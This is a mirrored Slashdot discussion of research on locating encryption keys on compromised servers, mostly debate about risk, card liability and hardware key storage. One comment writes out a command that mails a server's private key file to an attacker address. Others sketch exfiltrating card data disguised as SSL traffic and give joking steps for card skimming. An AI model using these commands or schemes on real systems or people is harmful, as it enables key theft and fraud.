Slashdot Mirror
Encryption Key Retrieval Method Invented
try67 writes "ZDNet has this article discussing a method developed by several scientists (including Adi Shamir - the S in RSA, the guy who later found a way to crack RSA, GSM alg. cracker, and all-around very cool guy) of finding and stealing encryption keys from servers. The key's randomness seems to be what's giving them away." This is an interesting piece, but why do people continually feel that my credit card number is the most valuable piece of information I own? There's more than e-commerce at stake, people.
From the article, it seems this problem only affects users of shared virtual servers.
If someone has access to the filesystem with the key, that's the problem that should be fixed.
Of course, if you website is not secured, slapping SSL on top if it won't help.
First of all, as everyone else has pointed out, is a cracker has access the filesystem where you store your keys, you have more important security concerns.
f
Second of all, this was reported almost a year and a half ago (Sept 22, 1998)
http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pd
Shit, he's on to us. Okay, I admit it, I was in on the decision. Me, Rupert Murdoch, Ted Turner, and a half dozen other media biggies had convened a meeting. We were in a dimly lit room, each resting in a leather-upholstered chair, smoking cigars, drinking cognac, and trying to answer the question: "How can we stick it to the geeks?" We spent hours debating the issue. We considered dozens of solutions - chain gangs, death camps, insanely high taxes on twinkies and Jolt, but none of these things really seemed satisfying. Finally, Ted had an idea: we would begin using the word "hacker" to refer to computer criminals, until it had thoroughly negative connotations in the ears of the public. Everyone praised the elegance of this plan, and thus, the matter was settled.
I don't think you get the point. The main issue is not the card numbers that you have sitting on the machine that day the hacker gets into your server (and someone will eventually...). Once you detect them, you can call the credit card company and say these cards numbers may have been compromised. It's a hassle, but a bounded one. But once somebody has the Private Key for your site's certificate, you can no longer safely conduct business on that site until the key expires years from now (there is no revoke). The people with your stolen certificate can set up alternate sites in combination with a DNS attack and just BE you as far as web security goes. If you just spent a fortune on getting your brand recognized as foo.com, guess what? You can't safely use that anymore! This IS a big deal, and why it is more important to protect the key than the data that it is guarding today. As was mentioned before, putting the key into a crpto-engine card, etc... keeps your certificate safe, not the data that it just decrypted.
Although the person writing the article was obviously trying to sensationalize by mentioning credit cards numbers, I doubt the intelligent people behind the research considered that the primary issue. As you say, there are lots of ways to limit your vulnerability to just those credit card numbers that flowed through the server while it was compromised.
The bigger issue I see (and thought about alot during some fairly large e-commerce projects I worked on) is SSL certificate compromise, and what that could do to a business long-term. These certificates don't expire all that often. Once one is compromised, that should make the domain name they are associated with useless for e-commerce until the compromised certificate expires. If you have alot of money invested in branding your domain name, this can be a very big deal (imagine amazon.com getting their certifcate compromised, for example).
Now, all the big boys do protect their certificates like the formula for coke. But what about those aspiring web sites? A hacker could gather up certificates for many of these sites, wait for one of them to become the next e-bay (it seems you only have to wait a few months these days), and then start masqerading as them on the web, successfully, because they have that site's certificate. While they won't likely steal much before being found out, that e-company is RUINED in a day!
Moral: If you don't mind that your domain name may have to change (or go unused for a few years) after a compromise of your server, go ahead and put your SSL keys right there on the server (in memory or disk, its just a matter of degrees of difficulty after that). If you think that domain name is valuable to you, invest in some crypto hardware. You'll sleep better.
cat /dev/credit > /dev/audio
/dev/urandom
/dev/credit >> /dev/riaa
/dev/credit
/dev/urandom > /dev/credit
/dev/credit | bsod | >> /dev/msft
/dev/zero /dev/vaporware /dev/vaporware
mp3 the sound of money:
mpg123
the RIAA way:
mpg123
Making a cach advance:
cat
Fraudulant use:
cat
Using windows:
su
watch cat
Windows 2000 promotions:
ln -s
cat
If you print "See I.D." on the back of the card in lieu of a signature, then you aren't even liable for the $50. I believe the same holds for check cards as well.
I have had and used credit cards for over 5 years. Never have I paid a cent of interest. How? I pay the total balance every month when it is due. High interest rates only affect people who buy more than they can afford.
Having a credit card number stolen is a worry, but not a great one. The price of the stolen goods goes into creating those high interest rates (along with greed) because the individual card holders usually refuse to pay for unauthorized purchases. If a customer's card gets cancelled over it, there are plenty of other credit card companies to step in for the old one.
The "attack", detailed in:
f
:)
http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pd
appears to be a better search algorithm for finding keys in already-compromised media. Anyone relying on a strange filename or a full disk to hide their RSA keys now has even more need to worry
This is not a new "break", it just make security-through-obscurity even less obscure/secure.
Not to mention that their product is Open Source and has more features than most commercial remote administration tools.
Oh, and I don't suppose you'd know about those 500+ textfiles they've written (dating since circa 1984, since those aren't mentioned on CNN.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
And Microsoft have still given us no good answer as to what their NSA key is for.
I have been paying close attention.
--
Xenu loves you!
This algorithm was published quite a while ago: I've implemented it myself. It's best use is to look for "NSA key" type backdoors in closed source software, like Lotus Notes. The only "news" is that nCipher have worked out a way to turn it into publicity for their product. As everyone is saying, it's not very contentful.
By the way, Adi Shamir (and Ron Rivest, for that matter) have done a *lot* more crypto work than just RSA. Shamir is one of the inventors of differential cryptanalysis (along with Eli Biham).
--
Xenu loves you!
Storing secret keys on an accessable server is stupid anyway. If someone roots the box, they'll just use your software to do the decrypting for them.
The correct procedure is to store the public key on the web server, and have it send the encrypted data to a private server behind a secondary firewall. THAT server is the one with the secret keys. The second firewall should choke off all but the port used to transfer the data.
The same people who will be deeply worried about this will freely hand their card to a waiter (who will disappear for several minutes before returning with card and reciept) or read out the number for a phone order and won't think twice about it.
If you've cracked the server already finding a stored key is so-what. Probably easy enough to just look in the server directory tree - most people probably put them somewhere in that vicinity. Besides, what you really want is just to pull the order databases down and you have the CC #'s and shipping addresses. Duh.
The revolution will NOT be televised.
At one time I thought that many words were misused before I looked them up in a dictionary.
Personally I believe you are fighting a loosing battle. The hacker community doesn't want to be labeled like criminals, so they try to push a new usage and a new word cracker. Obviously the population as a whole and mass media didn't accept this, despite the rant campains and possibly some write-ins to the journalists. I do still believe that criminal should be an adjective for hacker, where hacker really shouldn't be an assumed criminal, so I do agree on that point.
I greatly respect the engineering that went into this paper, but I think we're talking about a little bit of...oh, I don't know...when you've got a hammer, everything looks like a nail?
What's been discovered is a method of, independant of the file system and various configuration files, extracting a key based on the difference between that key and the surrounding ambient randomness.
Independant of the file system?
How, exactly, is the web server supposed to retrieve the private key without a file call? Perhaps it should reference a specific block on the hard drive, and read x bytes from that location? Oh, oops, now we've got a "big deal" of a security breach in our web server configuration files.
When I first read this, I had assumed they discovered a method by which the private key could be divined by remote interrogation of the server side provided challenge. That's not what they discovered. They found a way that, given a hard drive with every single file cataconcated together with no indexing system available, they could still find zones likely(but not guaranteed) to represent private keys.
Anyone here have a hard drive like that?
This is *cool*, from a geek sense. I appreciate the value of the research. But it's so far from a big deal, it's ridiculous. It's one thing to say that shared servers increase the risk of having your private key stolen--I'd *hope* that the keys of one customer are isolated from the owners of another--but this specific worry is just...inaccurate. Cool tech, but not something to have your blood pressure increase over.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
However, I'm intrigued by that comparison to ultra-quiet submarines.
Think for a moment. Say you had a fleet of ultra-quiet submarines. You know that your enemy can track them if my looking for unusually quiet spots. So, what do you do?
The answer: surround their fleet. Cancel out the ambient noise, so the quiet spots can't be picked out. It's the opposite of creating noise to cover noisy submarines.
Therefore, one answer would seem to be the creation of many "dummy" keys on the server. They're generated just like the "real" key is, so they're just as random. Thelocation of the "real" key then becomes a closely-guarded secret, of course, as much so as the machine's root password.
Consider that the strongest keys out there are only 4K. This means that creating 1000 dummies only wastes four megs of space; in an age where it's hard to find drives less than twenty times that size this isn't really that much of a space-waster.
The best solution would be a completely-encrypted filesystem. Then there would be no way to tell the key from any other data, and even if you could it would be useless. Are there any good fully-encrypted filesystems out there yet? Linux-compatibility would be a plus...
emmett mentions that Adi Shamir found a way to crack RSA. Can somebody please elaborate on this???
___
___
If you think big enough, you'll never have to do it.
All a hacker would have to do, Hopcroft said, is set up an account with an Internet service provider hosting a company's Web site, "go into that server and root around looking for the keys of other companies. With [the key] there is no way for me to be distinguished from a legitimate business owner."
OK, that's funny. I hope that any ISP that leaves secret keys around w/ out proper permissions (ones denying Joe-Other-User from my critical information) and w/out a properly long passphrase (in the case of SSL certificates) would not even be in business. Private Keys are something that you keep properly protected. And if someone gains root access you are screwed. They will find the key, not because of the randomness, but because they now have complete control of the system. Once someone gains root access, there is not much you CAN do to prevent them from getting the key.
These checksum algorithms are public knowledge. There are several examples on the internet, you just need to look for them. I've used them several times in back end web development just to do a preliminary check on wether a number submitted can even be a credit card number.
It appears that the article is discussing a flaw in the implimentation of an asymetrical algorithm, such as ElGamel or RSA. Real easy solution folks - the server that is actually taking credit card numbers should only have the public key stored on it. There is no need for the private key to be on any public accessable system, as the decryption of the card data is done only by the card processor, which is never done on a system connected to the Internet.
You also must introduce randomness to the credit card data before encrypting, because the regularity of credit card numbers allows a cracker to make a known-plaintext attack.
I've been dealing with security and encryption with e-commerse for about two years. Anyone who would set up a system like that discussed in the article is a rank amateur and a fool.
The article is a bunch of bullshit.
So let me see if I can get this right...the cDc releases information about a security risk in a certain company's operating system, thus causing said company to deny there is a problem, blame in on the cDc, and finally, fix it...eventually. Therefore, the cDc is a bunch of evil hackers because they provided this information.
When a group of respected scientists point out a security vulnerability, they're the good guys, for pointing out a vulnerability that 'hackers' might exploit.
Well, I guess that's fair.
And double-check your other IDs as well. I have seen student IDs double as a debit card for college services. (This was at Dartmouth College, I am sure they are not alone.) There were incidences of people's cards being stolen and substantial charges being racked up.
All in all, if you have some piece of plastic that can hand out your money, you should know the liability rules and what protection you have on that piece of plastic.
Cheers,
Ben
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
The details vary according to your country's consumer protection laws, but if your credit card is stolen and used, you are not directly liable for more than a certain amount. ($50 in the USA.) Who is? The credit card company! The cost of that liability is a risk they bear, and comes back to merchants and consumers through costs for setting up credit cards.
This is why credit card companies put so much energy into keeping profiles of consumers, and will yank your card as soon as you no longer fit your profile. It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk.
Just another right that people have and don't appreciate...
Cheers,
Be
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
If slashdot doesn't stop linking to articles that says hackers are computer criminals, I'll stop reading slashdot. *sigh* Why? Because I expect Slashdot to link to truthful stories.
TomG
Hackers are not criminals. Hackers do not break in. Crackers break in. Get it? Got it. Good. And yes, crackers are criminals.
TomG
A cracker is also someone who breaks into computer programs. And it's not as hold, hackers have existed before copry protected software. This exclusion that you speak of, if I understand, is simply me being accurate.
TomG
I will keep this in mind for the future, thank you for the idea. :-)
TomG
I do not appreciate being called a hypocrit. There is a difference between expanding a word's meaning, and removing meanings, or destroying the previous meaning.
TomG
An excellent and important point. A point that I make to people and they do not remotely understand.
I've had to tell my bank twice that they do NOT have my permission to issue a credit card that comes out of my account.
I don't know where the idea came from the "check cards" are in any way superior to credit cards... it's completely wrong. A check card is both more risky for the reason you state, and more expensive because you pay right now, not 30 days later with no interest.
Check cards can deplete your account (making your house payment bounce) when the card is stolen/copied/fraudulently used.
Use a credit card, you will out $50 (at most, generally 0) if it is stolen, and your house payment won't bounce.
Arguably, remote commerce isn't anywhere near as dangerous as buying dinner at a decent restaurant.
Think about it. You're just handing your actual credit card to someone you've barely met. They may take it across the street and buy a TV for all you know, or they may just decide to keep it.
This is just like television, only you can see much further.
I respectfully disagree with your assessment. I don't use *CREDIT* cards because they have their own set of problems. I've actually had fraudulent charges show up on my account, and once I called the bank and informed them, it was about a day or two before the account balance was back to normal. Banks might say they don't *have* to cover losses on a check card, but in the interest of keeping their customers happy, they usually will. The best thing about a check card is that it's pay-as-you-go. You don't have the money, you don't buy it.
It isn't always that easy. In an infamous case, John Munden, a British police officer, was charged with attempted fraud and convicted for complaining about funds missing from his bank account. The bank, Halifax Building Society, said that their systems were secure, therefore Mr. Munden was lying. This was enough to convince the court. The conviction was later overturned on appeal.
Mea navis aericumbens anguillis abundat
Key storage and protection is an old problem. You have to assume that the operating system may be cracked, either by an external attacker or by an authorized user. The solution is to store keys in a tamper resistant hardware device, which can be an external box or a special chip. The keys can go into the device, but they can't come out. IBM has used this approach for their mainframe cryptographic facility for decades. IBM has a PCI card that solves this problem for PCs.
Mea navis aericumbens anguillis abundat
As you have root access (you can read the key, can't you?), let the server decrypt it for you, and then send you the information that you want. This would uncomplicate things greatly, as you don't have to spend any of your own time decrypting/parsing the info.
Then, once you have the info that you want, have it send the stuff to you in a packet that appears to be, say, a spoofed SSL packet going to a client who's coincidentally wandering around the site looking at stuff at the time, and thus get all the CC numbers you want without anyone knowing, given that the packets that your hack on the server sends you look normal, you don't use it too much on one server, you clean up your footprints, make it look like your attempt failed (ie, continuing to look for other holes), and tell no one.
If you want your keys to be secure, the system that keeps them has to be physically secure and secure against unauthorized logins because at some point, the system will have the plain text keys in memory somewhere.
Of course, the whole thing is an attempt by nCipher to drum up business--they want to sell their "nCipher hardware". If you use a cryptographic accelerator that also performs the key management, you are a bit safer, because most of the time, the keys are available only inside the accelerator, a device that is probably harder to "break into" than the whole server. But nCipher's solution is still vulnerable because you communicate with the encryption box over the web and the web client you use could be attacked.
The best security for your keys is likely to be achieved by using a crypto accelerator for which the key is entered physically at the box (e.g., via a SmartCard or keyboard), or for which you physically connect the box to another, non-networked computer while performing key management functions. Lots of products besides nCipher's are capable of that.
This actually wasn't really news to me... I thought I'd read it on Counterpanes site a great while ago, but i'm looking and now can't find it. But anyways, SOMEONE out there had a great article about somethinglike this. Like, how to find private keys if you actually do get access to a computer they're stored on.... I think the whole premis of the article is that you need to be sitting at the computer, running very low-level disk utilities that let you sort through all the garbage really quickly. Maybe you could do it with telnet, i don't know.
But two things pop into mind right now.
#1 - is that of course things are going to mess up if the systems are insecure in the first place.
#2 - this whole thing was brought to ZDNETs attention by a company that clames to have hardware solution for this "problem"... Does that say anything to you? Maybe this was more of that companies advertising effort and less of its general research.
So really... who cares, is what i think. If the servers ARE secured, then the keys aer safe. If they aren't, well then, the keys could have been subsitituted... It's just how pararnoid do you want to be?
If it used just the date and time to seed the random number generator, that wouldn't be very random, now would it? There's countless ways to generate good random numbers... And the best are free for all anyhow, so it's really unlikely that it would be that simple.
How many of your ISP's even have your private key? I know once I generated my keypair, i sent mine the public key and kept the private key for myself. They just forward me my data and i decrypt it from my computer, rather than let them decryp and reencrypt and send to me.
Likewise... I doubt (and hope that not) many of the major e-commerce sites keep their complete key pair on the same machine... Likely, they'll have a cluster of webserves with read only access to the products database, and write only to the orders database. those machines don't need to know what the data that they're passing back and forth is, they just need to get it from the server to the client.
Not that this discussion really belongs here but slashdot.com is some DSL provider or something that's squating on it. So it's not like they have the choice, unless the want to rename the site which would just be stupid.
a) The banks do not cover the charges in most cases and especially not in cases where a magnetic swipe is not take (i.e. ecommerce and phone orders ). In these cases if it's the merchant ends up eating the cost of the charge because the bank takes the money back.
b) The banks/processors get a small fee for every transaction on top of the percentage. They keep the fee and the percentage whiel dinging the merchant for the entire cost of the charge when they only deposit the net amount after fees. This fee is around 12 cents a transactions for Visa + approx 3%. So assuming someone stole a million cards and ran just one transaction on it. Visa just made $120,000.00 off of fraud and that's not even taking into consideration the percentage.
c) On top of the fee to run the transaction there is normally a fee for handling the fraud process (known as a chargeback). A low for this fee in the market is $5.00 and I've seen it as high as $15.00 per charge. Which would mean as much as $15 million in revenue off the fraudulent charge.
d) Before most chargebacks mentioned above are run a retrieval request is also issued. This is normaly also a $5.00 - $15.00 cost.
The only time the credit card companies are risking anything is if the merchant goes out of business. Which is highly unlikely since most people who steal cards spread there fraudulent activity around.
So frankly I don't think the card companies have any incentive to solve the problem. Merchants are always the people left holding the bag.
If I have access to the server, I have access to the code that runs on the server. If I have access to the code, I can trace through that code, find out where it gets its keys from, and do the same thing. This has always been the case.
The key is to keep people from getting access to the server - not to claim that there's something wrong with the infrastructure because it's possible to compromise something outside of it.
PenguiNet: the (shareware) Windows SSH client
Van Someren said nCipher decided to go after encryption keys because "we make products that redress these problems." The company offers a hardware solution to the problem of encryption-key security.
Translation: nCipher decided to make you paranoid about storing your decryption key anyone on your hard disk, so you'd store it with nCipher's hardware solution instead. *Very* thoughtful of them.-(
If I understand this "vunerability" correctly, the approach is to read every block on the hard disk, looking for sequences that are unusually random. Is this supposed to be more effective than looking for strings around the words "decryption key"?-|
Stupid job ads, weird spam, occasional insight at
Is it just me or isn't this a "well duh"? I figured that most web hosts would be intelligent enough to have their shell server, file server, and web server seperated. Not to mention I would hope that people wouldn't keep their key files 777.
One piece disturbs me:
All a hacker would have to do, Hopcroft said,
is set up an account with an Internet service
provider hosting a company's Web site, "go into
that server and root around looking for the keys
of other companies. With [the key] there is no
way for me to be distinguished from a legitimate
business owner."
Is it just me, or isn't this another "well duh". If you have shotty administration and security you are going to have "hackers" breaking in and "root[ing] around". The only revelation that this article seems to make is that poor administration, poor implementation, and shotty security go hand in hand. Anyone who has been in the ISP or hosting business knows this for a fact.
It all comes down to 'buyer beware' - and if the consumer doesn't heed that then they are at fault.
That's funny, considering that most credit cards are already charging the maximum interest rate allowed by law, or very close to it.
All this story says is that once a cracker has compromised a server, then they have a more easy way of locating the encryption keys that may be stored on it. No method has been found for breaking the encryption itself and this does not make e-commerce unsecure. All it actually means is that companies with insecure webservers will find that the keys stored on their servers are located slightly more quickly than by other means. Please note that posting this story was designed to cause a reaction because the guy who posted it (emmett) is reasonably new and wants to create a good impression (TM) amoungst readers. Unfortunately, what he fails to realise is that it is a load of scaremongering shite that he has posted. Anyone who thinks this changes anything is wrong.
Please people, actually read the stories that are posted and don't just accept some bloke interpretation. This story wasn't worth posting.
Thank you.
Jonathan.
http://www.jonmasters.org/
Exactly, if you can't change the signal, then just raise the noise. (This applies to politics as well :)
"It's overkill, of course. But you can never have too much overkill." - Anonymous Slashdot Coward
Yes, Nicko van Someren demonstrated this in the rump session at the 3rd International Information Hiding Workshop back in September. He showed a CGI program running on a web server being used to find the private key used by that server. This works if you can run a CGI script as the same user as the server (ie. with access to the memory of the server).
Even if the memory is in actual memory, there are tools to scan the memory itself, all you need is the correct rigths.
--
"take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"
[]'s Victor Bogado da Silva Lins
^[:wq
The vulnability described is a way to scan memory and finding a private key in the middle of it. Since most servers, even the NT ones :-), have strict security on who can run and who can access memory this would be no problem for most of the server.
The major problem I see is the virtual servers that hold many sites into a single machine. Every site owner have access to run programs in the machine, if those sites are not properly secured one site owner could be able to exploit some known hole to be able to scan memory is search for other site owner's keys.
--
"take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"
[]'s Victor Bogado da Silva Lins
^[:wq
How about, first the program generates a lot of valid assembly code of the server's processor, then assembles it, and chooses various assembled bytes as the key? (New meaning to "large instruction set"...)
Certainly hard to find a key through what looks like valid executable binary code...
This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.
This is a very good point. Just as I wouldn't stop going into the city and carrying cash just because I might get mugged doesn't mean that I might stop using credit cards online because I might have my credit information stolen.
Oh, wait. This wasn't your point at all. Sorry
As I'm reading this article, they are saying that once into a web server, it is easy to search for a key because it is more random then any other data on the disk. Wish I could get paid for these kinds of revelations.
The solution: don't let anyone into your web server in the first place. I would consider the web server compromised and the keys invalid if someone got in and was able to snoop where the keys were located. Even if you do allow shell access to the web server (a bad idea in my opinion), put the keys in a root read-only directory! I believe the setup instructions for mod_ssl says to set your SSL key as 400, therefore only root can read it.
This article is irresponsible. They make it sound as if your credit card is already at stake, not just after someone has broken into a web server and stole keys. It is not news that encrypted data is at stake after someone has stole the private key.
I consider buying things over the web to be in the same league as ordering items over the phone. When people order things over the phone, they are dealing with a PERSON. How do they know that the operator that is taking their order is not going to rip them off, or do something stupid with their credit card number?
Plus, in both cases you don't know if the credit card information is being STORED properly. I've seen plenty of discount e-com setups that will have a fancy site certificate making it look secure. Then when the form is submited a plain text email gets sent to some email address so that someone can manually punch it in.
I've never seen one even offered for better than about 12%. Unless you're counting those deceptive ads that say 3% APR!!*
*For 3 months
when I use my a credit card online, I use my check card. So there is no interest. The safety of it I'm not very concerned with. If there is a charge on my check card that I didn't make, I just call the bank and they get rid of it.
This article was posted at 5:38pm EST. Thats after the stock market closed. I wonder what kind of affect this would have on the "dot com" stocks... This would be a shame considering that the NASDAQ is doing so well lately.
First, one quick note: we have a lot of bright people reading this stuff. However, sometimes even us bright people fall for the "hindsight bias". I want to make sure that we aren't falling for it now!
Second, though, I believe that the article was poorly written. It doesn't accurately describe the threat, it focusses on Web servers, and it ignores the fact that our intellegance agencies and police forces have been doing this kind of thing for a long time (even in the US).
Some other things to note, though... 1) The information content of a key should be zero (thus random). We know this. However, we also know that even with SIMPLE encryption algorithms (think XOR), the result also has what appears to be zero information content. The information is random, provided you don't know the secret key or plain text. In fact, one of the first tests of an encryption routine is to see if the result in most cases fits the criteria for random information (there are math tests you can apply).
So, what this article REALLY says is this:
By using the fact that encryption removes the information from a message (in a math sense), we can find keys, large random numbers, and encrypted messages when we examine a stream of bits. Think about this, though...Don't you think the NSA has always been able to intercept information and pass the encrypted pieces to one department and the unencrypted pieces to another? What about a police agency which takes someone's computer as evidence. Perhaps they deleted their PGP key, but not good enough. How do you find it? The same way mentioned in this article, using many well-written commercial software packages designed for forensics work.
This attack demonstrates yet another reason not to send private keys/shared keys over insecure channels. It is saying, "Someone might notice that thing is a key," even if there is a lot of traffic. Go figure.
As a side note, though, we can do our intellegence agencies a big favor by sending all messages out as encrypted messages. That way, they don't just have to try to crack the ones for which encryption makes sense on, but also the ones that encryption doesn't make sense on. How long do we have to wait until we can send Mom birthday wishes via encrypted mail? (Picture some guy 3 stories underground in Virginia trying to make sense of THAT secret code!)
--
Joel Maslak
Right. But cyber credit card theft is potentially dangerous in ways that personal CC number theft is not. Even if you work all day at stealing credit card numbers, you can only steal a handful when compared with a fully automated digital attack. The real risk is not with credit card users. It's with the banking industry. A serious attack that got say a million+ usable CC numbers could bankrupt even the largest credit card company or at least become the source of a truly /staggering/ problem. A "terrorist" might even be able to destabilize the whole economy if large-scale automated CC fraud were part of a well orchestrated attack.
/know/ will keep the internet secure at this point is not to have one. All this other "secutiry" is pure conjecture.
I personally don't see how we can avoid a really serious security meltdown on the internet. People are taking very large risks with technology that is not *fundamentally* secure. The only thing we
The fact that encryption keys can be found in data by looking for strings with higher entropy then usual is not new. I have heard it several times, and I believe that this was how the "NSA_key" thing in the Win2K source code was discovered (remember that, MS let NSA authenticate their own crypto modules and people started screaming backdoor). If I'm not wrong, its even mentioned in 'Applied Cryptography'.
The article says "root around looking for the keys", which I read as getting root to the server (I mean, who is going to keep code that contains crypto keys globally readable?) and that isn't exactly easy to begin with. And if your hosting server gets rooted your sort of fucked anyways...
As far as the big deal over Credit Card numbers is concerned, I couldn't agree more. I don't know about you people, but I operate under the assumption that my credit card number is always in the hands of others. I mean, the security of a credit card number rests on the fact that "no one can remember 20 digits." Obscurity would be an infinite step up.
Credit card numbers can be stolen by anyone who you shop at, anyone who goes through those shops or your trash, anyone who (with a little memorization training) is able to read your card, etc ad infinum. The whole system is based on the fact that credit cards numbers can be stolen but that its cheaper for the companies to take the loss then implement a smarter system. If that doesn't fit you shoe, then there is always cash...
-
We cannot reason ourselves out of our basic irrationality. All we can do is learn the art of being irrational in a reasonable way.
/. should post articles of higher quality than this. This article is very clearly nothing more an ad for a company with a dumb product (I say dumb because there should be a better argument for its usage other than this):
Everyone here should know that "security through obscurity" is a foolish and invalid method of security. This article is particularly annoying with its "submarine" and "cold war" analogies as well as its mention of "increasing hacker ingenuity", as though finding a big file of encryption keys open to all users on a server is some high tech stealth technique from a Harrison Ford movie or something.
Agreed.
You probably have more security on line then in real life anyway. Its much easier to read the numbers off a recipt (and alot less technical) then to crack a system.
About 10 years ago I worked for Radio Shack, there was a POS update to remove the name and address on a credit card recipt. Just imagine how much someone must have had to cause the update, hell, the only thing missing was a social security number.
The only time I've been a victim of fraud was when I applyed for a mortgage, a month later someone was ordering Lands End and shipping it to Camden.
Slashdot is correctly using .org . The time when .org was "officially" different from .com has long since past. Go check it out at the Registry (Network Solutions). Same goes for .net . You got $70, you've got a name. They no longer care what you do with it.
Since I'm here right next to New York City, let me assure you, your credit card is far *less* safe on the Internet than you are on the streets of Manhattan. Crime is down. I believe this is true in most large cities in the US.
Yes, I think that would work. I can think of lots of schemes that would, but all are basically security thru obscurity. Once you know the method used to interleave the bits, it becomes easy to find them.
I guess this is an amusing (to those of us without credit cards, anyway) example of that :) Information, by its very nature, stands out from the redundant noise of the background and is hard to hide away.
It seems to me that it should be possible to interleave the bits of the keys with a large quantity of non-random data, thereby masking its high information content. The trick of course is making the algorithm for which bits are real impossible to brute force. Unlike a one-time pad at least, only the server would need to know, e-commerce customers wouldn't.
* Obtain tools: pen, paper, or a good memory
* Use tools to store credit card numbers
* Use credit card numbers to purchase online pron
To extend this algorithm to have it work with the customer present, do this...
1) Get a job a local store for about and hour
2) Arrange to have a phone ring in the back room hen a customer gives you their CC for purchase.
3) Go into backroom and make two carbon copies of the CC. Hide one, give the other to the customer (about 15 seconds)
4) Tell customer call was a wrong number.
5) Complete the sale.
6) A month or so later, break out the carbon, fill in an amount, sign it, and submit it.
This algorithm works best in countries that don't have extensive CC fraud laws or the ability to enforce them.
Trust me, I know. Happened to me while on deployment in Mediterranean (country unnamed).
I returned to the US only to get a bill for $400 for goods I did not purchase. The CC company made me PROVE that I wasn't in the country at the time of the purchase.
I had to get my signature notorized (the one on the slip wasn't even close), have a letter from my Commanding Officer that our ship wasn't in the area (we were in the US at the time of the supposed purchase) AND a letter from the ship's admin office showing that I was onboard the ship for that time period.
All this because I let my CC out of sight for about 15 seconds and didn't report a fraud that I didn't know about in the required time period.
Needless to say, I drop the CC company after the bill was paid.
Get caught, and you'll spend the rest of your short sorry life taking it up the rear many times a day with Bubba and the boyz in the local state pen. Ever wanted a tattoo of Elle McPherson on your back? :)
War crimes, torture, lies, illegal spying... Would someone give Bush a blowjob, already, so he can be impeached?
Well, duh! Once I'm in, you have big problems. So, DON'T LET ME IN
It is not as though this is a new means to attack a server and gain access, just a way, once you have access, to find what you want.
And, if you store a bunch of data in compressed format (which also looks pretty random), then the search will be confused.
"The sky is falling! The sky is falling!" Any modern journalist.
www.eFax.com are spammers
"If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum."
Great, then some skript kiddie will use a tool to look for big-ish files filled with 1s and 0s (no other characters), and some st00pid news server will report it as another "huge hack."
---
--
Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
The consumer may not be directly liable, but in the end we pay for it. How do you think credit card companies compensate for lost revenue due to of fraudulent transactions? They raise the interest rates!
I remember a friend of mine that left his credit card at a gas station and it got used at a local department store to buy hundreds of dollars in goods. He had enough information to track the guy down and bust him, but he opted to just cancel the card and get a new one, because he didn't have to worry about being liable. This kind of irresponsible behavior just makes the fraud worse and the interest rates higher for all of us.
To re-iterate. There are now two (2) ways to obtain credit card numbers:
Method #1:
* Crack into a highly secure server, likely behind a firewall (details left out, this part is easy)
* Apply heuristics and a random number searching algorithm on the hard drive (heuristics + classic compression algorithms such as LZW will work here)
* Use the keys to monitor transactions with this server and obtain credit card numbers
* Use credit card numbers to purchase online pron
Method #2:
* Get job at local store for approx. 1 hour
* Obtain tools: pen, paper, or a good memory
* Use tools to store credit card numbers
* Use credit card numbers to purchase online pron
The opening of this new method, number one (1), could be a serious threat to e-commerce. It makes e-commerce almost 1% as dangerous as physical world purchases! I know I'll never type https:// again and feel safe. I'm doing my purchases with complete safety: over the phone.
I agree with most of what you're saying, but how is that any less secure than a dedicated server? Granted, there seem to be more locally exploitable security problems, but really, all that's being said here is "if the sites not secure, it's not secure and bad things can happen".
Their heuristic technique is interesting and novel, but that's all. ZDnet is just trying to make more of a story than there is. "Someone developed a method of identifying the more-randomness of cryptographic keys among the pseudo-random crap that's in memory." That's all there is to this story. It has little-to-no security implications for your average e-commerce site.
If someone has compromised the machine, then of course nothing on the machine is secure anymore.
Now...I wonder if they can patent this.
nCifer published a paper describing this technique at the begining of last year - http://www.ncipher.com/products/files/papers/angui lla/keyhide2.pdf. This technique was used to show that Microsoft had two keys in its Crypto API .dll.
If you can subvert a server then you can scan memory or the swap file for possible keys and post them back to the attacker. The search space is tiny compared to the whole of the server's file system.
>Van Someren noted that it's possible that
>others - hackers, in particular - already have
>discovered the path to the once-hidden
>encryption keys.
If a cracker already has access to the server,
why bother looking for really random data? Most
webservers have a standard filename for the
private key. Don't need much experience in
information theory "find the path" to "hidden" keys. Eg:
"cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"
The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.
My log2(4) cents.
The above post is very informatie! moderate it up!
_________________________
Alex Van Someren, president of nCipher in Cambridge, England, said the discovery of a method for retrieving encryption keys revolves around research conducted by his brother Nicko, chief technology officer and co-founder of nCipher, and Adi Shamir of the Weizmann Institute in Israel, co-inventor of the RSA encryption system, the base for much current encryption technology.
This story reads pretty credible, but I have to wonder where the proof is. The article does draw an interesting analogy about submarines making themselvs more and more quiet untill the only way to "hear" them was to search for the "hole" in the water. They say that this same kind of aproach was used to find keys.
This tmethidology seems logical, but it's implementation soes not. Does the reasercher point to his finished work?
_________________________
In the end, it's nothing that spectacular: it's about identifying public and and unencrypted secret key data in a stream of bits with lots of other data. Although it seems as if nobody has thought about this kind of attack before, other forms of attack, based on additional characteristics of the key (for example, that it is contained in an OpenPGP packet), were certainly known, and it is quite likely that systems designed to be immune against this kind of attack (i.e., by employing tamper-proof hardware or storing critical key material on a strongly protected separate server) will resist the new (old) one as well.
Of course, only few people in the modern e-commerce world care about security on their sites, so some media attention, although a bit late and a bit exaggerated, is always a good thing.
It is too bad that commercial encryption doesn't use the "self destructing if tampered with" key archive approach that is used with the unbreakable category 4 encryption systems. I suppose we could improve the existing systems by immediately rewriting memory that was used for password entry and intermediate decryption results. Oh well, guess I'm going to have to study that chapter on pointers again.
